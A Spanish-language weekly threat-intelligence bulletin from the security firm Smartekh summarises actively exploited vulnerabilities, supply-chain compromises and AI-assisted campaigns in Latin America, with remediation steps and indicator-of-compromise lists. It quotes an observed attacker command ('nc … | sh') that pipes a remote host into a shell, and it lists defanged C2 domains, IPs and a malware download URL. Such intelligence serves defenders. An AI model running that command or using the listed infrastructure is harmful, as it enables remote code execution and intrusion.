RADAR CTI

BOLETÍN SEMANAL
DE CIBERSEGURIDAD

INTELIGENCIA PARA ANTICIPARNOS HOY, PROTEGER TU MAÑANA.

Análisis, contexto y acciones concretas sobre las amenazas más relevantes de la semana.

- AMENAZAS EN LA MIRA
- VULNERABILIDADES CRÍTICAS
- INCIDENTES RELEVANTES
- ACCIONES INMEDIATAS

Smartekh®

THREAT INTELLIGENCE | VULNERABILITY MANAGEMENT | NEXT GEN SOC

INTRUSIÓN / IA / EXFILTRACIÓN

Campañas con IA afectan transporte, gobierno y agua en México y Ecuador

MÉXICO ECUADOR BRASIL

QUÉ ESTÁ PASANDO

Unit 42 documentó dos campañas activas en LATAM. Una afectó transporte, ministerios federales y servicios municipales de agua en México y Ecuador; otra apuntó al sector financiero brasileño con phishing laboral, RATs, SOCKS5 y scripts compatibles con uso de LLM.

POR QUÉ IMPORTA

El uso de IA ya aparece en operación ofensiva real: generación iterativa de scripts, apoyo a living-off-the-land y exfiltración. El impacto es directo para sectores críticos regionales.

QUÉ REVISAR AHORA

- Buscar scripts batch iterativos y NextChat self-hosted.
- Revisar SOCKS5, RATs y phishing con ofertas laborales.
- Validar accesos anómalos en transporte, agua y gobierno.
- Correlacionar IoCs de Unit 42 contra EDR, proxy y DNS.

SUPPLY CHAIN / CLOUD / DESARROLLO

Coder Registry fue comprometido para robar credenciales cloud

CODER CLOUD CI/CD

QUÉ ESTÁ PASANDO

Coder confirmó que una API key de Cloudflare fue comprometida y parte del tráfico de registry.coder.com se desvió a un servidor malicioso el 31 de agosto. Ese servidor entregó módulos modificados para buscar credenciales cloud.

POR QUÉ IMPORTA

El ataque abusó de un registry legítimo. Los entornos que descargaron módulos durante la ventana podrían haber expuesto secretos de AWS, GCP, Azure y CI/CD.

QUÉ REVISAR AHORA

- Identificar descargas de registry.coder.com entre 07:35 y 21:45 UTC.
- Buscar comunicación con coder-infra.com y 199.91.220.205.
- Rotar credenciales cloud presentes en entornos Coder.
- Revisar runners, contenedores y logs de instalación.

RMM / MSP / RCE

N-central publica una RCE preautenticación CVSS 10 y exige Hotfix 4

N-ABLE RMM MSP

QUÉ ESTÁ PASANDO

N-able publicó CVE-2026-86218 para N-central self-hosted. Permite ejecución remota sin autenticación y se corrige en N-central 2026.3 Hotfix 4, build 2026.3.1.14. Las comunicaciones oficiales difieren sobre explotación en producción.

POR QUÉ IMPORTA

Una consola RMM comprometida puede multiplicar el acceso a clientes, servidores y endpoints administrados. El riesgo operativo es alto incluso si la explotación aún está en validación.

QUÉ REVISAR AHORA

- Actualizar N-central self-hosted a Hotfix 4 inmediatamente.
- Revisar cuentas nuevas y actividad administrativa reciente.
- Bloquear exposición pública y limitar a redes de gestión.
- Investigar tráfico desde 23.234.64.0/18 si aplica.

ECOMMERCE / ZERO-DAY / RCE

StyleSmuggler explota Adobe Commerce y Magento como zero-day

ADOBE MAGENTO RCE

QUÉ ESTÁ PASANDO

Sansec detectó StyleSmuggler desde el 4 de septiembre. La falla permite inyectar PHP en templates de Magento mediante propiedades de estilo y ejecutar código durante correos de fallo de pago. Adobe publicó CVE-2026-75650, CVSS 10.

POR QUÉ IMPORTA

Afecta tiendas en línea con datos de clientes, pagos e integraciones internas. La explotación no requiere autenticación y puede dejar backdoors persistentes.

QUÉ REVISAR AHORA

- Aplicar el hotfix de Adobe Commerce/Magento sin esperar ventana regular.
- Buscar backdoor Rust y comunicación con dominios de Sansec.
- Revisar correos de fallo de pago y templates modificados.
- Aislar tiendas expuestas si no se puede parchear de inmediato.

VPN / EDGE / SSRF / COMMAND INJECTION

SonicWall confirma dos nuevas zero-days explotadas en SMA1000

SONICWALL SMA1000 KEV

QUÉ ESTÁ PASANDO

SonicWall confirmó explotación de CVE-2026-83548 y CVE-2026-83549 en SMA1000. La primera es SSRF preautenticación CVSS 10 y la segunda permite inyección de comandos del sistema operativo.

POR QUÉ IMPORTA

El appliance está en el borde y conecta usuarios remotos con redes internas. El encadenamiento podría facilitar RCE sin autenticación.

QUÉ REVISAR AHORA

- Actualizar a las versiones corregidas publicadas por SonicWall.
- Revisar IoCs oficiales y actividad previa al parche.
- Cambiar contraseñas y reiniciar TOTP si hay sospecha.
- Limitar administración y portal a redes confiables.

BROWSER / V8 / MEMORY SAFETY

Google corrige Chrome CVE-2026-85046 bajo explotación activa

CHROME V8 KEV

QUÉ ESTÁ PASANDO

Google liberó Chrome 152.0.7977.82/.83 para Windows y macOS y 152.0.7977.82 para Linux. La actualización corrige CVE-2026-85046, una type confusion en V8.

POR QUÉ IMPORTA

Chrome es una superficie masiva. Un exploit de navegador puede servir como acceso inicial contra usuarios, equipos administrativos o entornos con sesiones corporativas abiertas.

QUÉ REVISAR AHORA

- Forzar actualización de Chrome y navegadores Chromium administrados.
- Validar cumplimiento en equipos ejecutivos y administradores.
- Revisar navegación a sitios no confiables y crashes recientes.
- Priorizar endpoints sin reinicio posterior a actualización.

SUPPLY CHAIN / ARTIFACT REPOSITORY / AUTH BYPASS

JFrog Artifactory es explotado para obtener privilegios administrativos

JFROG ARTIFACTORY KEV

QUÉ ESTÁ PASANDO

CVE-2026-82329 permite, bajo configuración predeterminada, que un atacante no autenticado con acceso de red obtenga privilegios administrativos. WatchTowr observó creación de tokens administrativos y enumeración de usuarios, grupos y topologías.

POR QUÉ IMPORTA

Artifactory concentra artefactos, credenciales, pipelines y rutas de despliegue. Un acceso administrativo puede convertirse en compromiso de supply chain.

QUÉ REVISAR AHORA

- Actualizar self-hosted y validar que Cloud esté protegido.
- Buscar creación de tokens administrativos no autorizados.
- Revisar usuarios, grupos, permisos y repositorios modificados.
- Rotar credenciales usadas por pipelines conectados.

VOIP / SQL INJECTION / RCE

Sangoma Switchvox es explotada para RCE sin autenticación

SWITCHVOX VOIP KEV

QUÉ ESTÁ PASANDO

CVE-2026-9586 es una SQL injection no autenticada que conduce a ejecución remota. Horizon3 publicó detalles y honeypots coordinados detectaron explotación válida antes de la publicación. CISA añadió la CVE a KEV.

POR QUÉ IMPORTA

Los sistemas VoIP pueden tener acceso a redes internas y comunicaciones sensibles. Un RCE en telefonía puede abrir una ruta lateral poco monitoreada.

QUÉ REVISAR AHORA

- Actualizar Switchvox a 8.4.0.2 o superior.
- Revisar /var/log/switchvox/db-quirks.log.
- Buscar actividad hacia /pa y comandos nc/curl/base64.
- Restringir administración VoIP desde Internet.

RMM ABUSE / MALWARE / INGENIERÍA SOCIAL

Clientes modificados de ScreenConnect propagan VBS tipo gusano

SCREENCONNECT VBS RMM

QUÉ ESTÁ PASANDO

Huntress identificó clientes ScreenConnect no autorizados instalados mediante ingeniería social. Algunas variantes detectan nuevos endpoints conectados y transfieren automáticamente cuatro scripts VBScript, generando propagación tipo gusano.

POR QUÉ IMPORTA

El abuso de una herramienta legítima de soporte dificulta distinguir actividad autorizada de intrusión. La propagación puede ampliar el incidente entre sistemas administrados.

QUÉ REVISAR AHORA

- Buscar clientes ScreenConnect no autorizados y el ID 7a4d7d66502d4260.
- Revisar persistencia WindowsServiceHost en Run Key.
- Detectar VBS, bypass UAC, RMM oculto y criptomineros.
- Validar con soporte cada invitación o instalación remota.

WORDPRESS / ARBITRARY UPLOAD / RCE

Elementor Pro es explotado para tomar sitios WordPress

WORDPRESS ELEMENTOR RCE

QUÉ ESTÁ PASANDO

CVE-2026-32475 afecta cargas de archivos en formularios de Elementor Pro. Bajo configuraciones vulnerables, atacantes no autenticados pueden subir PHP y ejecutar código. Wordfence reportó una oleada de intentos durante el corte.

POR QUÉ IMPORTA

WordPress sostiene sitios de ecommerce, gobierno, medios y pymes. Una web comprometida puede servir phishing, malware o capturar credenciales.

QUÉ REVISAR AHORA

- Actualizar Elementor Pro a 4.2.2 o superior.
- Buscar PHP en /wp-content/uploads/elementor/forms/.
- Revisar IPs de alta frecuencia reportadas por Wordfence.
- Deshabilitar formularios con subida si no son necesarios.

SUPPLY CHAIN / BGP / HOSTING

BGP hijacking entrega una actualización maliciosa de Virtualizor

VIRTUALIZOR BGP HOSTING

QUÉ ESTÁ PASANDO

Softaculous confirmó que un actor anunció rutas BGP más específicas para desviar tráfico de actualización. El atacante usó un certificado TLS válido y entregó una actualización maliciosa de Virtualizor a un número reducido de instalaciones.

POR QUÉ IMPORTA

El canal de actualización puede ser manipulado por enrutamiento, sin comprometer el repositorio legítimo. Esto afecta directamente a hosting y proveedores VPS.

QUÉ REVISAR AHORA

- Identificar servidores Virtualizor que actualizaron del 28 al 30 de agosto.
- Revisar rutas BGP anómalas hacia 162.55.80.0/24.
- Validar integridad de paquetes y reinstalar si hay duda.
- Reforzar pinning, firma y verificación fuera de banda.

IA / LOW-CODE / RCE

Langflow CVE-2026-0768 pasa a explotación activa

LANGFLOW IA RCE

QUÉ ESTÁ PASANDO

CVE-2026-0768 afecta el validador de código del editor de componentes personalizados de Langflow. Una entrada preparada puede escapar de la validación y ejecutar Python arbitrario sin autenticación.

POR QUÉ IMPORTA

Langflow suele estar cerca de llaves API, conectores, datos y recursos cloud. Un RCE permite convertir una prueba de IA en acceso a secretos empresariales.

QUÉ REVISAR AHORA

- Actualizar Langflow a versión corregida y aislar instancias expuestas.
- Buscar lectura de variables de entorno, tokens y llaves.
- Revisar ejecución de Python no esperada desde el proceso.
- Mover secretos a vault y aplicar mínimo privilegio.

INDICADORES DE COMPROMISO

IoCs — Campañas IA LATAM, Coder y N-central

Unit 42 / LATAM AI campaigns

Dominios: m-doxa-apodo.duckdns[.]org, m-doxa-geo.duckdns[.]org, m-doxa-intel.duckdns[.]org
Dominios: m-doxa-repuve.duckdns[.]org, m-doxa-sre.duckdns[.]org, m-doxa-vacunas.duckdns[.]org
IPs: 178.128.87[.]160, 165.22.184[.]26, 167.148.195[.]53
URL: hxxp[:]//167.148.195[.]53:8888/socktz_v9.exe
SHA-256: a38b2cf8beff32a276eed8783723ecf8cc53d7dc88669e1b998dddc4db6fe996
SHA-256: 87bf8bc8b4a2cf34f0af1afe161f123a3d200e77f6c6f41b81bf6ae66ee172ec

Coder Registry

Ventana: 2026-08-31 07:35–21:45 UTC | Dominio: www[.]coder-infra[.]com | IP: 199.91.220[.]205
URL: hxxp[:]//www[.]coder-infra[.]com/cli/check | Header: X-CLI-Token
Hashes: 7190a17c593276d7fd71c4863a4bc0b6c957ed14249288e6f64c5540e2c49398
a7f4fa5f7e33b2a6f6488cf28444584caa449144d246b083de919162f5514247,
414d01f6072fbf05bef513e277f4c2b504a413c8e2aa5bae133a5cbc0cda9dc1

N-able N-central

Rango observado por N-able para escaneo: 23.234.64.0/18
Validar creación reciente de cuentas, sesiones administrativas y exposición pública de N-central.

INDICADORES DE COMPROMISO

IoCs — StyleSmuggler, SonicWall y Chrome

Adobe Commerce / StyleSmuggler

Descarga: hxxps[:]//www.incofar.it/js/jquery/plugins/ajaxfileupload/mag.txt
Dominio: 247.cdnflare[.]xyz | IP: 209.141.43[.]95
C2: 99.84.67[.]186:443, windwsecurity[.]run:443, ntp.timesysnc[.]net:123, time.microsft[.]run:123
C2: pool.microsft[.]studio:123, ntp.timesync[.]to:123, 185.157.160[.]251:123, ntp.synctime[.]to:123
IPs origen: 88.216.72[.]181, 182.182.152[.]48, 76.31.99[.]207, 209.73.130[.]148, 77.239.124[.]107
User-Agent: python-requests 2.15.0 | Procesos: fc-cache, chronyd, [kworker/u:8:0]
Hashes: e315687a1dfe61ef4a5a5642214db6d3b2b05d81391285eebc2af664641a26a7, b79dfdc1eed860e0b76c629d6adfce251db379b0b45a6d728d4ef483f7551420

SonicWall SMA1000

Afectadas: 12.4.3-03453 y 12.5.0-02835 | Corregidas: 12.4.3-03526 y 12.5.0-02952
Si aparecen IoCs oficiales: reimagen/redeploy, cambio de contraseñas y reset de tokens TOTP.

Chrome CVE-2026-85046

Versión corregida: Chrome 152.0.7977.82/.83 Windows/macOS y 152.0.7977.82 Linux.
Revisar equipos sin reinicio, crashes de navegador y navegación reciente en endpoints de alto riesgo.

INDICADORES DE COMPROMISO

IoCs — JFrog, Sangoma y ScreenConnect

JFrog Artifactory

Señales: creación de tokens administrativos, enumeración de usuarios/grupos/repositorios y cambios de permisos.
Revisar procesos hijo inusuales del servicio Artifactory y actividad de tokens posterior al 01-sep.

Sangoma Switchvox

Log: /var/log/switchvox/db-quirks.log | Endpoint: /pa | IP atacante observada: 176.65.148[.]184
Payload observado: nc 176.65.148[.]184 39323 | sh
Comandos a buscar: COPY TO PROGRAM, nc, curl, base64, top -bn1

ScreenConnect modificado

ID malicioso: 7a4d7d66502d4260 | Run Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> WindowsServiceHost
Archivos/procesos: ScreenConnect.ClientSetup.msi, ScreenConnect.Client.exe, WindowsServiceHost.vbs, Themes.exe, SearchIndex.exe, svcdrv64.sys, PyTorchFix.ps1
IPs/dominios: 45.13.237[.]190, 131.123.40[.]98:8041, 146.59.55[.]107, 45.32.192[.]150, 15.204.185[.]204
Dominios: tele-sync.opik[.]net, borertors92.anondns[.]net, homehub.opik[.]net:443
Hashes VBS: 08bc4e82883eb42fc5219b206555b7a02a879860c76b4a12b2f82a64f6cc9020, de89d560fc8302c778d88e3938327b240fa0db9a64fc1d5643067eedcbd2aede

INDICADORES DE COMPROMISO

IoCs — Elementor, Virtualizor y Langflow

Elementor Pro / WordPress

Ruta crítica: /wp-content/uploads/elementor/forms/ con archivos PHP no autorizados.
IPs de alto volumen: 103.84.230[.]85, 103.90.148[.]202, 216.126.225[.]208, 167.254.240[.]75
Más IPs: 167.254.241[.]119, 114.10.17[.]253, 114.10.45[.]151, 2406:ef80:2:7d19::1

Virtualizor / BGP hijacking

Prefijo desviado: 162.55.80.0/24 | Ruta observada: AS62390 / AS6204 / AS24940.
Ventanas: 28-ago ~21:00 UTC a 29-ago ~08:50 UTC y 29-ago ~20:00 UTC a 30-ago ~06:00 UTC.
Revisar servidores Virtualizor que actualizaron durante esas ventanas.

Langflow CVE-2026-0768

- **Señales:** lectura de variables de entorno, tokens, llaves de OpenAI/AWS y clave secreta cacheada en disco.
- Buscar ejecución de Python inesperada desde el proceso Langflow y pruebas de historial SSH/shell.
- Rotar secretos si la instancia estuvo expuesta antes del parche.

INDICADORES DE COMPROMISO

IoCs — Unit 42 hashes y señales transversales

Hashes y certificados reportados por Unit 42

SHA-256: a38b2cf8beff32a276eed8783723ecf8cc53d7dc88669e1b998dddc4db6fe996
SHA-256: 87bf8bc8b4a2cf34f0af1afe161f123a3d200e77f6c6f41b81bf6ae66ee172ec
Cert SHA-256: 46ac289ce0c13666de616446f5d5a68da8bd150f4f065c3bec02f63776d3899c
Cert SHA-256: 4e218e70afdbb116209ec0ebe8fc556e296e69648aa4e0425b83c0e863a8fee5
Cert SHA-256: 7d766942ef34542cee39c852286599958c4c2e23187010c4d38dbf88fcb40bf8

Contexto de uso

Correlacionar contra EDR, proxy, DNS, TLS fingerprinting y ejecución de binarios descargados. Validar contra la fuente primaria antes de ejecutar bloqueos masivos.

Señales de investigación transversales

• **Exposición pública de consolas:** N-central, SMA1000, Artifactory, Switchvox, Langflow y Magento.
• Creación de tokens/admins, cambios en repositorios, cargas PHP, backdoors Rust y scripts VBS persistentes.
• Rotación de secretos si hubo ejecución en runners, registries, repositorios o plataformas cloud.

OBSERVACIÓN MÉXICO

Alegaciones de ransomware sin confirmación independiente

Contexto

Durante el corte aparecieron tres publicaciones en leak sites sobre organizaciones mexicanas. Al cierre no existe confirmación pública de las víctimas, autoridad o investigador forense independiente; por ello no deben presentarse como incidentes confirmados.

TUM Transportistas Unidos Mexicanos

Actor: Krybit
Fecha: 01-sep-2026
Estado: Alegación del actor. Requiere validar intrusión, cifrado, exfiltración, volumen y autenticidad de muestras.

Trucka

Actor: INC Ransom
Fecha: 01–02-sep-2026
Estado: Alegación del actor. Requiere validar intrusión, cifrado, exfiltración, volumen y autenticidad de muestras.

Mega Velocity

Actor: Vexy
Fecha: 05-sep-2026
Estado: Alegación no verificada. Requiere validar intrusión, cifrado, exfiltración, volumen y autenticidad de muestras.

QUÉ REVISAR AHORA

- Monitorear dominios, cuentas y marcas de las organizaciones mencionadas.
- No atribuir impacto sin confirmación de la víctima o evidencia técnica.
- Preparar contacto y playbook de validación si existe relación comercial.
- Dar seguimiento a leak sites sin descargar ni redistribuir datos.

RADAR CTI

BOLETÍN SEMANAL DE CIBERSEGURIDAD

Las amenazas cambian cada semana.

Tu capacidad de responder define el impacto.

¿Tu organización podría detectar alguno de estos escenarios antes de que afecte la operación?

En Grupo Smartekh ayudamos a equipos de TI y ciberseguridad a:

- Identificar riesgos críticos
- Priorizar vulnerabilidades
- Fortalecer controles
- Responder incidentes con rapidez real

NEXT GEN SOC
Monitoreo 24/7

THREAT INTELLIGENCE
Inteligencia accionable

VULNERABILITY MANAGEMENT
Visibilidad y remediación

ESCRÍBENOS
informacion@smartekh.com

#SMARTEKH

Canal WhatsApp | Eventos | Blogs | Infografías Awareness